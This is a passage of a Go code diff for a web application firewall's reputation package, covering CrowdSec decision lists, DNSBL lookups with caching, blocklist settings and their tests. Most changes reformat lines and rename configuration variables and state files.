fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error)) alert := fetchFailure(failed, decisionsURL, tc.error)
wantAlert(t, queue, alert)
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+ if !strings.Contains(
`"url":"`+decisionsURL+`","error":"`+tc.error) { log.String(),
`"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
@@ -291,9 +367,13 @@ func crowdSecFailures() []crowdSecFailure {
// other than its decision list, such as the one a redirect names, and that // other than its decision list, such as the one a redirect names, and that
// the key is in none of what the fetches leave behind: log, the process // the key is in none of what the fetches leave behind: log, the process
// log, the alerts waiting in queue, and the copies of lists, which // log, the alerts waiting in queue, and the copies of lists, which
// reputation.json keeps. // lists.json keeps.
func wantKeyNotShown( func wantKeyNotShown(
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue, t *testing.T,
e *engine,
log string,
lists *reputation.Lists,
queue *alerts.Queue,
) { ) {
t.Helper() t.Helper()
@@ -315,18 +395,26 @@ func wantKeyNotShown(
} }
} }
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) { func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
began := time.Now() began := time.Now()
e := &engine{key: engineKey, decisions: []decision{ e := &engine{key: engineKey, decisions: []decision{
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)}, {
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
}} }}
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
kept := lists.Snapshot() kept := lists.Snapshot()
// Restarted half an hour later with what reputation.json keeps, and // Restarted half an hour later with what lists.json keeps, and
// the engine down, the decision still bans, until the end it had at // the engine down, the decision still bans, until the end it had at
// the fetch, half an hour on. // the fetch, half an hour on.
time.Sleep(30 * time.Minute) time.Sleep(30 * time.Minute)
@@ -342,7 +430,10 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing
run(t, again) run(t, again)
want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing} want := reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
}
wantDecision(t, again, "198.51.100.7", want) wantDecision(t, again, "198.51.100.7", want)
time.Sleep(30*time.Minute - time.Nanosecond) time.Sleep(30*time.Minute - time.Nanosecond)
@@ -415,7 +506,8 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.fetches++ e.fetches++
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" { if req.URL.String() != decisionsURL &&
req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String()) e.keySentTo = append(e.keySentTo, req.URL.String())
} }
@@ -425,7 +517,9 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key: case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}` status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "": case e.redirect != "":
status, header = http.StatusFound, http.Header{"Location": {e.redirect}} status, header = http.StatusFound, http.Header{
"Location": {e.redirect},
}
case e.failing: case e.failing:
status, body = http.StatusServiceUnavailable, "" status, body = http.StatusServiceUnavailable, ""
case body == "": case body == "":
@@ -449,7 +543,9 @@ func (e *engine) inForce(now time.Time) string {
for _, d := range e.decisions { for _, d := range e.decisions {
if now.Before(d.expires) { if now.Before(d.expires) {
answer = append(answer, map[string]string{ answer = append(answer, map[string]string{
"duration": d.expires.Sub(now).String(), "origin": "crowdsec", "duration": d.expires.Sub(now).
String(),
"origin": "crowdsec",
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value, "scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
}) })
} }
@@ -501,13 +597,26 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
// wantDecision checks the decision lists says is in force on addr now, // wantDecision checks the decision lists says is in force on addr now,
// the zero Decision for none. // the zero Decision for none.
func wantDecision( func wantDecision(
t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision, t *testing.T,
lists *reputation.Lists,
addr string,
want reputation.Decision,
) { ) {
t.Helper() t.Helper()
got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now()) got, listed := lists.CrowdSecDecision(
netip.MustParseAddr(addr),
time.Now(),
)
if listed != !want.Expires.IsZero() || if listed != !want.Expires.IsZero() ||
listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) { listed &&
t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want) (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
t.Errorf(
"%s has the decision %+v in force %t, want %+v",
addr,
got,
listed,
want,
)
} }
} }
+19 -12
View File
@@ -40,7 +40,7 @@ var (
errNotListing = errors.New("the answer is outside 127.0.0.0/8") errNotListing = errors.New("the answer is outside 127.0.0.0/8")
) )
// Verdict is what a zone said about a client, as reputation.json holds // Verdict is what a zone said about a client, as dnsbl.json holds
// it: the zone, the client's address, whether the zone lists it, and when // it: the zone, the client's address, whether the zone lists it, and when
// the zone answered. // the zone answered.
type Verdict struct { type Verdict struct {
@@ -53,15 +53,15 @@ type Verdict struct {
// DNSBLParams are what NewDNSBL needs. // DNSBLParams are what NewDNSBL needs.
type DNSBLParams struct { type DNSBLParams struct {
// Zones are the DNSBL zones clients are asked about in // Zones are the DNSBL zones clients are asked about in
// (SWWAF_DNSBL_ZONES). // (SWW_WAF_DNSBL_ZONES).
Zones []string Zones []string
// Resolver is the resolver they are asked through // Resolver is the resolver they are asked through
// (SWWAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the // (SWW_WAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
// host's, as /etc/resolv.conf names it. // host's, as /etc/resolv.conf names it.
Resolver netip.AddrPort Resolver netip.AddrPort
// CacheTTL is how long a verdict is used after it was fetched // CacheTTL is how long a verdict is used after it was fetched
// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take // (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may
// (SWWAF_REPUTATION_TIMEOUT). // take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
CacheTTL time.Duration CacheTTL time.Duration
Timeout time.Duration Timeout time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
} }
} }
// Zones returns the zones, in the order SWWAF_DNSBL_ZONES names them. // Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
func (d *DNSBL) Zones() []string { func (d *DNSBL) Zones() []string {
return slices.Clone(d.params.Zones) return slices.Clone(d.params.Zones)
} }
// ListedBy returns the zones whose verdict on addr, a client's address, // ListedBy returns the zones whose verdict on addr, a client's address,
// lists it, in the order SWWAF_DNSBL_ZONES names them, each with its key // lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
// masked, as config.MaskZoneKey masks it, since they go to the request // masked, as config.MaskZoneKey masks it, since they go to the request
// log, the alerts and the metrics. A verdict is used until CacheTTL has // log, the alerts and the metrics. A verdict is used until CacheTTL has
// passed since it was fetched. Each zone without one is asked about addr // passed since it was fetched. Each zone without one is asked about addr
@@ -187,7 +187,7 @@ func (d *DNSBL) Failures(zone string) int {
} }
// Snapshot returns every verdict still in use, sorted by client, then by // Snapshot returns every verdict still in use, sorted by client, then by
// zone, as reputation.json lists them. // zone, as dnsbl.json lists them.
func (d *DNSBL) Snapshot() []Verdict { func (d *DNSBL) Snapshot() []Verdict {
d.mu.Lock() d.mu.Lock()
@@ -203,14 +203,17 @@ func (d *DNSBL) Snapshot() []Verdict {
d.mu.Unlock() d.mu.Unlock()
slices.SortFunc(verdicts, func(a, b Verdict) int { slices.SortFunc(verdicts, func(a, b Verdict) int {
return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone)) return cmp.Or(
a.Client.Compare(b.Client),
strings.Compare(a.Zone, b.Zone),
)
}) })
return verdicts return verdicts
} }
// Load keeps verdicts, read from reputation.json, in place of those it // Load keeps verdicts, read from dnsbl.json, in place of those it
// keeps, but for those of a zone SWWAF_DNSBL_ZONES does not name, and, // keeps, but for those of a zone SWW_WAF_DNSBL_ZONES does not name, and,
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or // past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
// more is neither used nor written, as for any verdict. // more is neither used nor written, as for any verdict.
func (d *DNSBL) Load(verdicts []Verdict) { func (d *DNSBL) Load(verdicts []Verdict) {
@@ -275,7 +278,11 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout) ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
defer cancel() defer cancel()
answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client)) answer, err := d.resolver.LookupNetIP(
ctx,
"ip4",
queryName(q.zone, q.client),
)
var dnsErr *net.DNSError var dnsErr *net.DNSError
+124 -41
View File
@@ -40,10 +40,11 @@ const (
// zone and otherZone are the DNSBL zones the tests name. // zone and otherZone are the DNSBL zones the tests name.
zone = "dnsbl.example" zone = "dnsbl.example"
otherZone = "other.example" otherZone = "other.example"
// cacheTTL is the tests' SWWAF_REPUTATION_CACHE_TTL, and timeout their // cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
// SWWAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf // their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
// can have Go's resolver wait for one server, so that it is the // /etc/resolv.conf can have Go's resolver wait for one server, so that
// DNSBL's own timeout that ends a query, whatever that file says. // it is the DNSBL's own timeout that ends a query, whatever that file
// says.
cacheTTL = 24 * time.Hour cacheTTL = 24 * time.Hour
timeout = time.Second timeout = time.Second
// listed and unlisted are clients zone is asked about by the names // listed and unlisted are clients zone is asked about by the names
@@ -73,7 +74,11 @@ func TestMain(m *testing.M) {
return nil, errNoNetwork return nil, errNoNetwork
}, },
} }
_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.") _, _ = resolver.LookupNetIP(
context.Background(),
"ip4",
"warm-up.invalid.",
)
m.Run() m.Run()
} }
@@ -92,7 +97,9 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
resolver := &resolverStandIn{answers: map[string]answer{ resolver := &resolverStandIn{answers: map[string]answer{
"99.2.0.192." + zone + ".": {addrs: []string{listing}}, "99.2.0.192." + zone + ".": {addrs: []string{listing}},
v6Name + otherZone + ".": {addrs: []string{"127.0.0.4", "127.0.0.10"}}, v6Name + otherZone + ".": {
addrs: []string{"127.0.0.4", "127.0.0.10"},
},
"99.2.0.192." + otherZone + ".": {}, "99.2.0.192." + otherZone + ".": {},
}} }}
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone)) dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
@@ -131,8 +138,11 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
}) })
} }
//
//nolint:paralleltest // one at a time, as the comment at the top of this file says //nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) { func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(
t *testing.T,
) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
resolver := &resolverStandIn{answers: map[string]answer{ resolver := &resolverStandIn{answers: map[string]answer{
listedName: {addrs: []string{listing}}, listedName: {addrs: []string{listing}},
@@ -198,8 +208,11 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
}) })
} }
//
//nolint:paralleltest // one at a time, as the comment at the top of this file says //nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) { func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
t *testing.T,
) {
for _, tc := range []struct { for _, tc := range []struct {
name string name string
answer answer answer answer
@@ -230,9 +243,12 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
p := dnsblParams(zone) p := dnsblParams(zone)
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{ dnsbl := newDNSBL(
&resolverStandIn{answers: map[string]answer{
listedName: tc.answer, listedName: tc.answer,
}}, p) }},
p,
)
// The failure gives no verdict, and the zone is not asked // The failure gives no verdict, and the zone is not asked
// again within a minute of it. // again within a minute of it.
@@ -258,11 +274,17 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
Time: time.Now().Add(-time.Minute), Time: time.Now().Add(-time.Minute),
Event: alerts.EventSourceFailure, Event: alerts.EventSourceFailure,
Reason: "asking a DNSBL zone failed", Reason: "asking a DNSBL zone failed",
Detail: map[string]any{"source": zone, "error": tc.error}, Detail: map[string]any{
"source": zone,
"error": tc.error,
},
}) })
if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+ if !strings.Contains(
`"zone":"`+zone+`","error":"`+tc.error) { log.String(),
`"msg":"asking a DNSBL zone failed",`+
`"zone":"`+zone+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
}) })
@@ -302,8 +324,11 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
synctest.Wait() synctest.Wait()
scraped := httptest.NewRecorder() scraped := httptest.NewRecorder()
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, m.ServeHTTP(
"/", http.NoBody)) scraped,
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody),
)
for series, want := range map[string]string{ for series, want := range map[string]string{
"queries_total" + `{instance="app",source="` + zone + `"}`: "1", "queries_total" + `{instance="app",source="` + zone + `"}`: "1",
@@ -311,7 +336,7 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
"queries_total" + `{instance="app",source="` + otherZone + `"}`: "1", "queries_total" + `{instance="app",source="` + otherZone + `"}`: "1",
"failures_total" + `{instance="app",source="` + otherZone + `"}`: "1", "failures_total" + `{instance="app",source="` + otherZone + `"}`: "1",
} { } {
line := "\nsmallwebwaf_reputation_" + series + " " + want + "\n" line := "\nsww_reputation_" + series + " " + want + "\n"
if !strings.Contains(scraped.Body.String(), line) { if !strings.Contains(scraped.Body.String(), line) {
t.Errorf("metrics\n%s\nwant%s", scraped.Body.String(), line) t.Errorf("metrics\n%s\nwant%s", scraped.Body.String(), line)
} }
@@ -348,19 +373,32 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
synctest.Wait() synctest.Wait()
wantZones(t, dnsbl, listed, masked) wantZones(t, dnsbl, listed, masked)
if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked { if got := waiting(queue); len(got) != 1 ||
t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked) got[0].Detail["source"] != masked {
t.Errorf(
"alerts waiting %+v, want the failure's, from %s",
got,
masked,
)
} }
scraped := httptest.NewRecorder() scraped := httptest.NewRecorder()
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, m.ServeHTTP(
"/", http.NoBody)) scraped,
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody),
)
for name, shown := range map[string]string{ for name, shown := range map[string]string{
"the log": log.String(), "the metrics": scraped.Body.String(), "the log": log.String(), "the metrics": scraped.Body.String(),
} { } {
if strings.Contains(shown, key) || !strings.Contains(shown, masked) { if strings.Contains(shown, key) ||
t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown) !strings.Contains(shown, masked) {
t.Errorf(
"%s shows the key, or does not name the zone:\n%s",
name,
shown,
)
} }
} }
}) })
@@ -382,14 +420,23 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
kept := dnsbl.Snapshot() kept := dnsbl.Snapshot()
want := []reputation.Verdict{ want := []reputation.Verdict{
{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched}, {
{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched}, Zone: zone,
Client: netip.MustParseAddr(listed),
Listed: true,
Fetched: fetched,
},
{
Zone: zone,
Client: netip.MustParseAddr(unlisted),
Fetched: fetched,
},
} }
if !reflect.DeepEqual(kept, want) { if !reflect.DeepEqual(kept, want) {
t.Errorf("verdicts %+v, want %+v", kept, want) t.Errorf("verdicts %+v, want %+v", kept, want)
} }
// Restarted an hour later with what reputation.json keeps, it uses // Restarted an hour later with what dnsbl.json keeps, it uses
// the verdicts, and asks the zone nothing, until the TTL has passed // the verdicts, and asks the zone nothing, until the TTL has passed
// since they were fetched. // since they were fetched.
time.Sleep(time.Hour) time.Sleep(time.Hour)
@@ -419,7 +466,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
dnsbl := reputation.NewDNSBL(p) dnsbl := reputation.NewDNSBL(p)
// The last verdict still in use, one fetched a TTL ago, and one of a // The last verdict still in use, one fetched a TTL ago, and one of a
// zone SWWAF_DNSBL_ZONES does not name. // zone SWW_WAF_DNSBL_ZONES does not name.
inUse := reputation.Verdict{ inUse := reputation.Verdict{
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
Fetched: now.Add(-cacheTTL + time.Nanosecond), Fetched: now.Add(-cacheTTL + time.Nanosecond),
@@ -433,12 +480,17 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse}) dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) { if got := dnsbl.Snapshot(); !reflect.DeepEqual(
got,
[]reputation.Verdict{inUse},
) {
t.Errorf("verdicts %+v, want only %+v", got, inUse) t.Errorf("verdicts %+v, want only %+v", got, inUse)
} }
} }
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) { func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
t *testing.T,
) {
t.Parallel() t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -446,7 +498,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
p.Now = func() time.Time { return now } p.Now = func() time.Time { return now }
dnsbl := reputation.NewDNSBL(p) dnsbl := reputation.NewDNSBL(p)
// 100,001 verdicts, listed by client, as reputation.json lists them, // 100,001 verdicts, listed by client, as dnsbl.json lists them,
// each fetched a millisecond before the one before it: the last is one // each fetched a millisecond before the one before it: the last is one
// too many. // too many.
const count = 100001 const count = 100001
@@ -466,17 +518,24 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
got := dnsbl.Snapshot() got := dnsbl.Snapshot()
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) || if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
slices.Contains(got, verdicts[count-1]) { slices.Contains(got, verdicts[count-1]) {
t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got)) t.Errorf(
"%d verdicts kept, want all but the one fetched longest ago",
len(got),
)
} }
} }
//nolint:paralleltest // one at a time, as the comment at the top of this file says //nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestQueriesGoToTheResolverSWWAFDNSBLResolverNames(t *testing.T) { func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
resolver := &resolverStandIn{answers: map[string]answer{ resolver := &resolverStandIn{answers: map[string]answer{
listedName: {addrs: []string{listing}}, listedName: {addrs: []string{listing}},
}} }}
conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0") conn, err := (&net.ListenConfig{}).ListenPacket(
t.Context(),
"udp",
"127.0.0.1:0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -500,7 +559,8 @@ func TestQueriesGoToTheResolverSWWAFDNSBLResolverNames(t *testing.T) {
// process held up for a whole minute would see the query fail. // process held up for a whole minute would see the query fail.
p.Timeout = time.Minute p.Timeout = time.Minute
isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed)) isListed, err := reputation.NewDNSBL(p).
LookUp(zone, netip.MustParseAddr(listed))
if err != nil || !isListed { if err != nil || !isListed {
t.Errorf("listed %t (%v), want true", isListed, err) t.Errorf("listed %t (%v), want true", isListed, err)
} }
@@ -554,7 +614,11 @@ func (s *resolverStandIn) set(name string, given answer) {
// dial connects Go's resolver to the stand-in through an in-memory // dial connects Go's resolver to the stand-in through an in-memory
// connection, on which it sends each query, and reads each reply, after // connection, on which it sends each query, and reads each reply, after
// its length, as over TCP. // its length, as over TCP.
func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) { func (s *resolverStandIn) dial(
context.Context,
string,
string,
) (net.Conn, error) {
client, server := net.Pipe() client, server := net.Pipe()
go s.serve(server) go s.serve(server)
@@ -590,8 +654,10 @@ func (s *resolverStandIn) serve(conn net.Conn) {
} }
//nolint:gosec // a reply of a few dozen bytes //nolint:gosec // a reply of a few dozen bytes
_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))), _, err = conn.Write(
reply...)) append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
reply...),
)
if err != nil { if err != nil {
return return
} }
@@ -692,7 +758,10 @@ func waitForTheResolver() {
} }
// newDNSBL returns the DNSBL of p, asking resolver. // newDNSBL returns the DNSBL of p, asking resolver.
func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL { func newDNSBL(
resolver *resolverStandIn,
p reputation.DNSBLParams,
) *reputation.DNSBL {
dnsbl := reputation.NewDNSBL(p) dnsbl := reputation.NewDNSBL(p)
dnsbl.SetDial(resolver.dial) dnsbl.SetDial(resolver.dial)
@@ -701,7 +770,12 @@ func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.D
// wantZones checks the zones whose verdict dnsbl says lists client, as a // wantZones checks the zones whose verdict dnsbl says lists client, as a
// request from client finds them. // request from client finds them.
func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) { func wantZones(
t *testing.T,
dnsbl *reputation.DNSBL,
client string,
want ...string,
) {
t.Helper() t.Helper()
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client)) got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
@@ -712,12 +786,21 @@ func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...str
// wantQueries checks how many queries dnsbl made to zone, and how many of // wantQueries checks how many queries dnsbl made to zone, and how many of
// them failed. // them failed.
func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) { func wantQueries(
t *testing.T,
dnsbl *reputation.DNSBL,
queries, failures int,
) {
t.Helper() t.Helper()
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures { if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone), t.Errorf(
dnsbl.Failures(zone), queries, failures) "%d queries and %d failures, want %d and %d",
dnsbl.Queries(zone),
dnsbl.Failures(zone),
queries,
failures,
)
} }
} }
+99 -42
View File
@@ -1,13 +1,14 @@
// Package reputation fetches the lists the settings name by URL: the // Package reputation fetches the lists the settings name by URL: the
// blocklists of SWWAF_BLOCKLIST_URLS, the file of AS:percent lines // blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
// SWWAF_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec // SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
// engine SWWAF_CROWDSEC_LAPI_URL names. It keeps the last good copy of // the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
// keeps the last good copy of
// each, whole, comment lines included, which is used while a fetch fails, // each, whole, comment lines included, which is used while a fetch fails,
// and when each was last tried. It also asks the DNSBL zones of // and when each was last tried. It also asks the DNSBL zones of
// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks // SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
// clients with AbuseIPDB, and keeps their scores and the checks spent // clients with AbuseIPDB, and keeps their scores and the checks spent
// today. The state package writes all of these to reputation.json and // today. The state package writes all of these to files and reads them
// reads them from it, so that a restart keeps them too. // from there, so that a restart keeps them too.
package reputation package reputation
import ( import (
@@ -46,14 +47,17 @@ const (
var ( var (
errStatus = errors.New("the server answered") errStatus = errors.New("the server answered")
errTooLong = errors.New("the list is longer than 16 MiB") errTooLong = errors.New("the list is longer than 16 MiB")
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24") errNotNetblock = errors.New(
"is not an address or a netblock, such as 192.0.2.0/24",
)
errNotASNPercent = errors.New( errNotASNPercent = errors.New(
"is not an AS number, : and a percentage, such as AS64496:50") "is not an AS number, : and a percentage, such as AS64496:50")
errNotDecision = errors.New( errNotDecision = errors.New(
"does not give an address or a netblock and a duration, such as 4h0m0s") "does not give an address or a netblock and a duration, such as 4h0m0s",
)
) )
// List is a list as reputation.json holds it: the URL it is fetched from, // List is a list as lists.json holds it: the URL it is fetched from,
// when it was last tried, the fetch failed or not, and its last good copy: // when it was last tried, the fetch failed or not, and its last good copy:
// when that was fetched, and its lines, as fetched, comment lines // when that was fetched, and its lines, as fetched, comment lines
// included, both left out while no fetch of it has succeeded. // included, both left out while no fetch of it has succeeded.
@@ -66,18 +70,20 @@ type List struct {
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// BlocklistURLs are the blocklists (SWWAF_BLOCKLIST_URLS), and // BlocklistURLs are the blocklists (SWW_WAF_BLOCKLIST_URLS), and
// ASNLimitPercentURL the file of AS:percent lines // ASNLimitPercentURL the file of AS:percent lines
// (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset. // (SWW_WAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
BlocklistURLs []string BlocklistURLs []string
ASNLimitPercentURL string ASNLimitPercentURL string
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
TagLists []config.TagList
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while // CrowdSecDecisionsURL is the CrowdSec decision list, "" while
// SWWAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey // SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWWAF_CROWDSEC_LAPI_KEY). // (SWW_WAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string CrowdSecDecisionsURL string
CrowdSecKey string CrowdSecKey string
// Refresh is how long after a list was last fetched or tried it is // Refresh is how long after a list was last fetched or tried it is
// fetched again (SWWAF_BLOCKLIST_REFRESH), but for the CrowdSec decision // fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
// list, which is fetched again crowdSecRefresh after. // list, which is fetched again crowdSecRefresh after.
Refresh time.Duration Refresh time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
@@ -103,7 +109,7 @@ type Lists struct {
lists map[string]*list lists map[string]*list
} }
// list is one list: what reputation.json keeps of it, its last try, zero // list is one list: what lists.json keeps of it, its last try, zero
// before the first, and its last good copy, what that copy says, and how // before the first, and its last good copy, what that copy says, and how
// many fetches of it failed. // many fetches of it failed.
type list struct { type list struct {
@@ -112,11 +118,11 @@ type list struct {
failures int failures int
} }
// entries are what the lines of a copy say: for a blocklist, the netblocks // entries are what the lines of a copy say: for a blocklist or a tag list, the
// it names, with the lengths among them, for the file of AS:percent lines, // netblocks it names, with the lengths among them, for the file of AS:percent
// the percentage it gives each AS number, and for the CrowdSec decision // lines, the percentage it gives each AS number, and for the CrowdSec decision
// list, the decision on each netblock that ends last, with the lengths // list, the decision on each netblock that ends last, with the lengths among
// among them. // them.
type entries struct { type entries struct {
netblocks map[netip.Prefix]bool netblocks map[netip.Prefix]bool
lengths []int lengths []int
@@ -152,14 +158,18 @@ func New(params Params) *Lists {
} }
// URLs returns the URL of every list: the blocklists' in the order // URLs returns the URL of every list: the blocklists' in the order
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL, then // SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
// the CrowdSec decision list's. // tag lists', then the CrowdSec decision list's.
func (l *Lists) URLs() []string { func (l *Lists) URLs() []string {
